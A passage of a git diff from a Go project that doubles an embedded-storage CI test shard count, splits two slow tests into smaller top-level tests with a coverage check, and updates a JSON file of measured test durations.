test, ~71s + # (TestLifecycleCloseReopenContract). cmd is a 100-shard block split # over two targets, //cmd/bd:bd_embedded_test (shards 1-50) and # //cmd/bd:bd_embedded_part2_test (51-100), because Bazel caps a rule at # 50 shards ("Having more than 50 shards is indicative of poor test @@ -1396,7 +1397,7 @@ jobs: --bep "$RUNNER_TEMP/bazel-bep.json" --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 50@0/100 --suite //cmd/bd:bd_embedded_part2_test .github/scripts/embedded-test-shard.sh 50@50/100 - --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 20 + --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 40 --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index d6e4e1c61..c0c340b6d 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1041,7 +1041,7 @@ Required` requires them to have run remotely and passed. `//cmd/bd:bd_embedded_part2_test` (50 each: shards 1-50 and 51-100 of the manifest's 100-shard block, which their ranges must tile exactly once; the manifest's frozen 20-shard block was the retired - `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; + `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (40; the frozen 5-shard block was `test-embedded-storage`'s, F1), `//cmd/bd:bd_proxied_test` (34; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and diff --git a/internal/storage/createbatchequiv/createbatchequiv.go b/internal/storage/createbatchequiv/createbatchequiv.go index bbb5c3de8..79f0c1e05 100644 --- a/internal/storage/createbatchequiv/createbatchequiv.go +++ b/internal/storage/createbatchequiv/createbatchequiv.go @@ -100,6 +100,38 @@ func Run(t *testing.T, open Open) { runScenarios(t, open, scenarios()) } +// ScenarioNames returns the names of Run's scenarios, in Run's order. +func ScenarioNames() []string { + var names []string + for _, sc := range scenarios() { + names = append(names, sc.name) + } + return names +} + +// RunNamed is Run for only the named scenarios (in Run's order), for a +// backend that spreads Run's scenarios over several top-level tests; it fails +// on a name Run does not have. Such a backend must cover ScenarioNames() +// exactly once between its tests. +func RunNamed(t *testing.T, open Open, names ...string) { + t.Helper() + want := map[string]bool{} + for _, n := range names { + want[n] = true + } + var list []scenario + for _, sc := range scenarios() { + if want[sc.name] { + list = append(list, sc) + delete(want, sc.name) + } + } + for n := range want { + t.Fatalf("createbatchequiv: no scenario %q (have %v)", n, ScenarioNames()) + } + runScenarios(t, open, list) +} + // RunLarge is Run for the 458-issue scenarios. A backend runs it from its own // top-level test so a race-instrumented lane can skip it (see the embedded // backend's caller) without losing the light scenarios. diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 8241d7414..7997a0f13 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -271,9 +271,9 @@ go_test( ], ) -# Runs 20 Bazel shards against every top-level Test* function in +# Runs 40 Bazel shards against every top-level Test* function in # internal/storage/embeddeddolt/*_test.go but TestConformance, assigned by -# the manifest's 20-shard block (duration-balanced on rbe-west measurements; +# the manifest's 40-shard block (duration-balanced on rbe-west measurements; # see scripts/ci/embedded_storage_test_durations.json), with # BEADS_TEST_EMBEDDED_DOLT=1; the wrapper points # BEADS_TEST_EMBEDDED_TEST_BINARY at this binary, which the concurrency test @@ -310,7 +310,7 @@ sh_test( "//:.github/scripts/embedded-storage-test-shards.txt", ], env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, - shard_count = 20, + shard_count = 40, tags = ["embedded"], ) diff --git a/internal/storage/embeddeddolt/create_batch_equivalence_test.go b/internal/storage/embeddeddolt/create_batch_equivalence_test.go index 913f1ab35..12a6d0214 100644 --- a/internal/storage/embeddeddolt/create_batch_equivalence_test.go +++ b/internal/storage/embeddeddolt/create_batch_equivalence_test.go @@ -4,19 +4,51 @@ package embeddeddolt_test import ( "database/sql" + "slices" "testing" "github.com/steveyegge/beads/internal/storage/createbatchequiv" "github.com/steveyegge/beads/internal/storage/sqlcount" ) -// TestCreateBatchFastPathsMatchPerRow_Embedded runs the batch-create -// equivalence scenario (internal/storage/createbatchequiv) on the embedded -// engine: the same import-shaped batch through the fast and per-row bodies -// must store the same rows. -func TestCreateBatchFastPathsMatchPerRow_Embedded(t *testing.T) { +// createBatchEquivalenceParts spreads createbatchequiv.Run's scenarios over +// the two TestCreateBatchFastPathsMatchPerRow*_Embedded tests below: under +// -race they took ~110s as one test, a whole CI shard on their own. +// TestCreateBatchEquivalencePartsCoverEveryScenario keeps the split exact. +var createBatchEquivalenceParts = [][]string{ + {"small", "depadd"}, + {"apply", "waitsfor"}, +} + +// TestCreateBatchFastPathsMatchPerRowSmallDepAdd_Embedded and +// TestCreateBatchFastPathsMatchPerRowApplyWaitsFor_Embedded run the +// batch-create equivalence scenarios (internal/storage/createbatchequiv) on +// the embedded engine: the same import-shaped batch through the fast and +// per-row bodies must store the same rows. +func TestCreateBatchFastPathsMatchPerRowSmallDepAdd_Embedded(t *testing.T) { skipUnlessEmbeddedDolt(t) - createbatchequiv.Run(t, openEquivalenceDB) + createbatchequiv.RunNamed(t, openEquivalenceDB, createBatchEquivalenceParts[0]...) +} + +func TestCreateBatchFastPathsMatchPerRowApplyWaitsFor_Embedded(t *testing.T) { + skipUnlessEmbeddedDolt(t) + createbatchequiv.RunNamed(t, openEquivalenceDB, createBatchEquivalenceParts[1]...) +} + +// TestCreateBatchEquivalencePartsCoverEveryScenario fails unless the parts +// above name every createbatchequiv.Run scenario exactly once, so a scenario +// added there cannot silently stop running on this backend. +func TestCreateBatchEquivalencePartsCoverEveryScenario(t *testing.T) { + var got []string + for _, part := range createBatchEquivalenceParts { + got = append(got, part...) + } + want := createbatchequiv.ScenarioNames() + slices.Sort(got) + slices.Sort(want) + if !slices.Equal(got, want) { + t.Errorf("createBatchEquivalenceParts cover %v, want each of %v exactly once", got, want) + } } // TestCreateBatchFastPathsMatchPerRowLarge_Embedded runs the 458-issue diff --git a/internal/storage/embeddeddolt/federation_credentials_test.go b/internal/storage/embeddeddolt/federation_credentials_test.go index 27d68cc02..1bbd3300b 100644 --- a/internal/storage/embeddeddolt/federation_credentials_test.go +++ b/internal/storage/embeddeddolt/federation_credentials_test.go @@ -154,7 +154,18 @@ func TestWithPeerAuth(t *testing.T) { } } -func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword(t *testing.T) { +// The suppressed-ambient-password cases run as two top-level tests, the +// first four cases and the rest: each case opens its own store (~11s under +// -race), so the eight took ~80s as one test. +func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordStored(t *testing.T) { + testWithPeerAuthWarnsWhenStoredPeerSuppressesAmbientPassword(t, func(i int) bool { return i < 4 }) +} + +func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordAmbient(t *testing.T) { + testWithPeerAuthWarnsWhenStoredPeerSuppressesAmbientPassword(t, func(i int) bool { return i >= 4 }) +} + +func testWithPeerAuthWarnsWhenStoredPeerSuppressesAmbientPassword(t *testing.T, pick func(i int) bool) { // Pinned verbatim, not matched by substring: the peer name, the username, // the stored tier, and the Warning: prefix are the parts an operator // reads, so a wording change has to be made here deliberately. @@ -252,7 +263,10 @@ func TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword(t *testing.T) }, } - for _, tc := range cases { + for i, tc := range cases { + if !pick(i) { + continue + } t.Run(tc.name, func(t *testing.T) { ctx := t.Context() diff --git a/scripts/ci/embedded_storage_test_durations.json b/scripts/ci/embedded_storage_test_durations.json index 7e3ae6350..631751ebe 100644 --- a/scripts/ci/embedded_storage_test_durations.json +++ b/scripts/ci/embedded_storage_test_durations.json @@ -1,21 +1,17 @@ { "_comment": [ "Measured on rbe-west, the lane's own remote executors (instance oss), on", - "2026-10-09: two `bazel test --config=embedded --nocache_test_results", - "//internal/storage/embeddeddolt:embeddeddolt_embedded_test` runs (race,", - "`-test.parallel=4`), one with the then-committed 15-shard manifest and one", - "with an 18-shard repack, so every one of the 395 top-level Test* functions", - "(excluding TestConformance, sharded separately, and TestMain) ran exactly", - "once per run. Each value is the mean of the two runs; the second ran under", - "heavier executor load and came out ~25% slower across the board, which is", - "the spread to expect between CI runs. Both runs were taken after", - "RunBatchGetterAcceptsExactlyTheCap started seeding its 1000 issues in one", - "CreateIssues call (TestBatchGetterContract: 198.87s -> ~7s on the same", - "executors). The previous capture was local sandboxed execution, and it", - "predated TestBatchGetterContract, so the packer weighted that test at its", - "t.Run fallback (~54s) and stacked a ~200s test onto an already full shard", - "(shard 9 of 15: 352s in CI). Remote shard wall time tracked the packed", - "cost to within 2% in both runs (correlation 0.999+).", + "2026-10-09: one `bazel test //... --config=embedded --nocache_test_results`", + "run (the whole embedded lane at once, as CI runs it: race,", + "`-test.parallel=4`), so every one of the top-level Test* functions", + "(excluding TestConformance, sharded separately) ran exactly once. Nearly", + "every function here is serial (no t.Parallel), so a shard's wall time is", + "the sum of its tests; CI shards ran ~1.3x (up to ~1.6x) these sums.", + "TestCreateBatchFastPathsMatchPerRow_Embedded (111s) and", + "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword (81s) were", + "then split into two top-level tests each; their parts' values are the", + "measured subtest sums (createbatchequiv's scenarios) and half the measured", + "whole (the eight ~11s peer-auth cases split 4+4).", "", "Each value is that top-level test's own from Bazel's", "generated test.xml, NOT the enclosing , for the same", @@ -27,6 +23,8 @@ "capture to without re-verifying that relationship for the", "toolchain in use at the time.", "", + "Notes from earlier captures (their \"this capture\" is the earlier one):", + "", "One originally-measured top-level function,", "TestLargeBatchApplyStatementCounts_Embedded (350.25s: 81.03s + 260.70s +", "8.52s for its 356/712/classic-40 subtests), was subsequently split (same", @@ -84,398 +82,404 @@ "tests": { "TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase": 0.0, "TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase": 0.0, - "TestAddDependency": 24.83, - "TestAddLabel": 0.61, - "TestBatchApplyContract": 62.95, - "TestBatchCreatorContract": 17.7, - "TestBatchGetterContract": 6.37, - "TestBlockingAnnotatorContract": 10.55, - "TestBootstrapperContract": 2.03, + "TestAddDependency": 24.98, + "TestAddLabel": 0.6, + "TestBatchApplyContract": 69.1, + "TestBatchCreatorContract": 6.74, + "TestBatchGetterContract": 6.42, + "TestBlockingAnnotatorContract": 10.85, + "TestBootstrapperContract": 2.24, "TestBuildDSN_NoDatabase": 0.0, "TestBuildDSN_SpacesInPath": 0.0, "TestBuildDSN_WithDatabase": 0.0, "TestCleanGitRemoteCacheGarbage": 0.0, "TestCleanGitRemoteCacheGarbage_NoCacheDir": 0.0, "TestCleanGitRemoteCacheGarbage_Throttled": 0.0, - "TestCommenterContract": 4.51, - "TestCommitAllOutOfBandChangeAndHonestNoOp": 0.58, - "TestConcurrencyMultiProcess": 4.32, - "TestConcurrentOpenReturnsCached": 11.14, - "TestCounterContract": 21.42, - "TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra": 0.8, - "TestCountsIncludeWispDependencies": 1.12, - "TestCountsWithMissingWispPlaneTables": 1.93, + "TestCommenterContract": 4.86, + "TestCommitAllOutOfBandChangeAndHonestNoOp": 0.67, + "TestConcurrencyMultiProcess": 3.67, + "TestConcurrentOpenReturnsCached": 11.52, + "TestCounterContract": 17.83, + "TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra": 0.87, + "TestCountsIncludeWispDependencies": 1.06, + "TestCountsWithMissingWispPlaneTables": 2.65, + "TestCreateBatchEquivalencePartsCoverEveryScenario": 0.01, + "TestCreateBatchFastPathsMatchPerRowApplyWaitsFor_Embedded": 51.46, "TestCreateBatchFastPathsMatchPerRowLarge_Embedded": 0.0, - "TestCreateBatchFastPathsMatchPerRow_Embedded": 89.57, - "TestCreateIssue": 21.51, - "TestCreateIssues": 16.54, - "TestCreateIssuesRejectStaleUpserts": 3.85, - "TestCreateRejectsCrossTableIDCollision": 1.54, + "TestCreateBatchFastPathsMatchPerRowSmallDepAdd_Embedded": 59.56, + "TestCreateIssue": 23.52, + "TestCreateIssues": 9.65, + "TestCreateIssuesRejectStaleUpserts": 4.25, + "TestCreateRejectsCrossTableIDCollision": 1.6, "TestCrossRecordInvariantContract": 0.0, - "TestCycleDetectorContract": 7.24, - "TestDecryptPassword_KeyMismatchNamesTheLocalKey": 10.81, - "TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch": 11.12, - "TestDeleterContract": 42.31, + "TestCycleDetectorContract": 7.58, + "TestDecryptPassword_KeyMismatchNamesTheLocalKey": 11.45, + "TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch": 11.11, + "TestDeleterContract": 45.61, "TestDepRekeyMarkerStillInIgnoredSeries": 0.0, - "TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles": 1.83, + "TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles": 3.02, "TestDoltCommitResponseLossIsIndeterminate": 0.0, "TestDualWriteContract": 1.46, "TestDualWriteContractFlagOff": 0.46, - "TestDualWriteFixtureKitIsWired": 0.21, - "TestEdgeReaderContract": 6.2, - "TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing": 12.17, - "TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory": 0.89, - "TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes": 10.96, - "TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure": 11.11, - "TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed": 1.48, - "TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed": 0.52, - "TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty": 6.01, - "TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch": 13.75, - "TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest": 5.79, - "TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex": 12.23, - "TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp": 6.46, - "TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy": 9.44, - "TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess": 3.06, - "TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape": 12.34, - "TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex": 12.61, - "TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit": 13.57, - "TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded": 6.56, - "TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing": 11.7, - "TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed": 13.28, - "TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim": 1.27, - "TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges": 1.24, - "TestEmbeddedBlockedRecheckFailureKeepsTheWrite": 11.59, - "TestEmbeddedBlockedRecheckRecordsUnblockingWrites": 14.75, - "TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded": 12.69, - "TestEmbeddedCheckedWrappersRouteTheirPreconditions": 3.17, - "TestEmbeddedClaimIssueWrapperClaimsTheWispPlane": 0.79, - "TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne": 1.13, - "TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow": 0.8, - "TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone": 1.36, - "TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting": 0.72, - "TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting": 0.92, - "TestEmbeddedClaimerRefusalMessagesCarryTheirFragments": 1.02, - "TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt": 0.82, - "TestEmbeddedClaimerRefusesAWispIDAsNotFound": 0.58, - "TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState": 0.64, - "TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween": 1.11, - "TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder": 1.42, - "TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds": 0.69, - "TestEmbeddedCommitToleratesNothingToCommit": 0.53, - "TestEmbeddedConfigCommitStagesConfig": 0.33, - "TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded": 8.79, - "TestEmbeddedDepRekeyConvergesRenameChain": 8.79, - "TestEmbeddedDepRekeyMergesFreshDuplicateEdges": 15.36, - "TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies": 7.66, - "TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge": 8.19, - "TestEmbeddedDependencyEditorAcceptsADiamond": 3.03, - "TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget": 0.6, - "TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants": 1.26, - "TestEmbeddedDependencyEditorAcceptsAnExternalTarget": 0.59, - "TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes": 2.3, - "TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb": 1.9, - "TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder": 1.85, - "TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges": 2.17, - "TestEmbeddedDependencyEditorAttributesItsEventsToTheActor": 1.82, - "TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate": 4.26, - "TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType": 1.91, - "TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes": 4.53, - "TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes": 1.35, - "TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes": 1.11, - "TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest": 0.69, - "TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest": 1.0, - "TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest": 2.4, - "TestEmbeddedDependencyEditorRefusalWritesNothing": 1.38, - "TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop": 5.9, - "TestEmbeddedDependencyEditorRefusesAGhostSource": 0.66, - "TestEmbeddedDependencyEditorRefusesAMissingLocalTarget": 1.15, - "TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle": 2.52, - "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy": 2.06, - "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy": 1.78, - "TestEmbeddedDependencyEditorRefusesCrossPlaneCycle": 0.98, - "TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped": 0.49, - "TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked": 2.53, - "TestEmbeddedDependencyEditorRemoveIsIdempotent": 2.13, - "TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants": 4.83, - "TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge": 1.19, - "TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse": 1.57, - "TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge": 0.92, - "TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane": 0.78, - "TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane": 1.61, - "TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent": 1.23, - "TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion": 1.36, - "TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion": 1.6, - "TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp": 2.17, - "TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe": 0.98, - "TestEmbeddedDependencyEditorSnapshotsTheRequest": 0.73, - "TestEmbeddedDependencyEditorValidationRefusalsWriteNothing": 0.72, - "TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove": 2.29, - "TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn": 1.89, - "TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers": 15.34, + "TestDualWriteFixtureKitIsWired": 0.27, + "TestEdgeReaderContract": 6.25, + "TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing": 11.52, + "TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory": 0.94, + "TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes": 10.75, + "TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure": 10.96, + "TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed": 12.01, + "TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed": 10.82, + "TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty": 0.97, + "TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch": 12.85, + "TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest": 11.58, + "TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex": 11.43, + "TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp": 12.21, + "TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy": 3.76, + "TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess": 3.04, + "TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards": 3.1, + "TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape": 11.59, + "TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex": 12.02, + "TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit": 13.52, + "TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded": 1.54, + "TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing": 10.84, + "TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed": 7.47, + "TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim": 11.6, + "TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges": 1.58, + "TestEmbeddedBlockedRecheckFailureKeepsTheWrite": 13.14, + "TestEmbeddedBlockedRecheckRecordsUnblockingWrites": 12.78, + "TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded": 13.15, + "TestEmbeddedCheckedWrappersRouteTheirPreconditions": 3.2, + "TestEmbeddedClaimIssueWrapperClaimsTheWispPlane": 12.81, + "TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne": 1.2, + "TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow": 10.87, + "TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone": 1.41, + "TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting": 0.74, + "TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting": 0.95, + "TestEmbeddedClaimerRefusalMessagesCarryTheirFragments": 1.08, + "TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt": 0.94, + "TestEmbeddedClaimerRefusesAWispIDAsNotFound": 0.62, + "TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState": 0.67, + "TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween": 1.52, + "TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder": 19.05, + "TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds": 12.47, + "TestEmbeddedCommitToleratesNothingToCommit": 0.64, + "TestEmbeddedConfigCommitStagesConfig": 0.32, + "TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded": 10.62, + "TestEmbeddedDepRekeyConvergesRenameChain": 9.83, + "TestEmbeddedDepRekeyMergesFreshDuplicateEdges": 18.83, + "TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies": 11.97, + "TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge": 9.6, + "TestEmbeddedDependencyEditorAcceptsADiamond": 2.32, + "TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget": 0.67, + "TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants": 0.99, + "TestEmbeddedDependencyEditorAcceptsAnExternalTarget": 0.67, + "TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes": 2.22, + "TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb": 1.89, + "TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder": 2.05, + "TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges": 1.98, + "TestEmbeddedDependencyEditorAttributesItsEventsToTheActor": 1.9, + "TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate": 3.93, + "TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType": 1.98, + "TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes": 4.65, + "TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes": 1.16, + "TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes": 1.13, + "TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest": 0.99, + "TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest": 1.13, + "TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest": 2.47, + "TestEmbeddedDependencyEditorRefusalWritesNothing": 1.43, + "TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop": 9.78, + "TestEmbeddedDependencyEditorRefusesAGhostSource": 0.87, + "TestEmbeddedDependencyEditorRefusesAMissingLocalTarget": 0.88, + "TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle": 2.95, + "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy": 1.98, + "TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy": 2.01, + "TestEmbeddedDependencyEditorRefusesCrossPlaneCycle": 1.05, + "TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped": 0.54, + "TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked": 2.3, + "TestEmbeddedDependencyEditorRemoveIsIdempotent": 2.31, + "TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants": 5.28, + "TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge": 1.11, + "TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse": 1.45, + "TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge": 0.98, + "TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane": 0.82, + "TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane": 2.13, + "TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent": 1.36, + "TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion": 1.4, + "TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion": 1.59, + "TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp": 2.39, + "TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe": 1.16, + "TestEmbeddedDependencyEditorSnapshotsTheRequest": 0.78, + "TestEmbeddedDependencyEditorValidationRefusalsWriteNothing": 0.61, + "TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove": 2.4, + "TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn": 1.96, + "TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers": 16.29, "TestEmbeddedDoltStoreIssueLifecycleBuildsOperations": 0.0, "TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore": 0.0, - "TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion": 3.83, - "TestEmbeddedGetMergeBlockersOnAQuietStore": 0.3, - "TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches": 2.06, - "TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones": 8.68, - "TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace": 9.18, - "TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables": 6.47, - "TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape": 7.57, - "TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape": 29.07, - "TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone": 2.19, - "TestEmbeddedIssueOperationsCloseAndReopenAWisp": 1.33, - "TestEmbeddedIssueOperationsCreateAggregatesRelations": 1.42, - "TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp": 1.34, - "TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies": 1.56, - "TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure": 2.22, - "TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables": 1.16, - 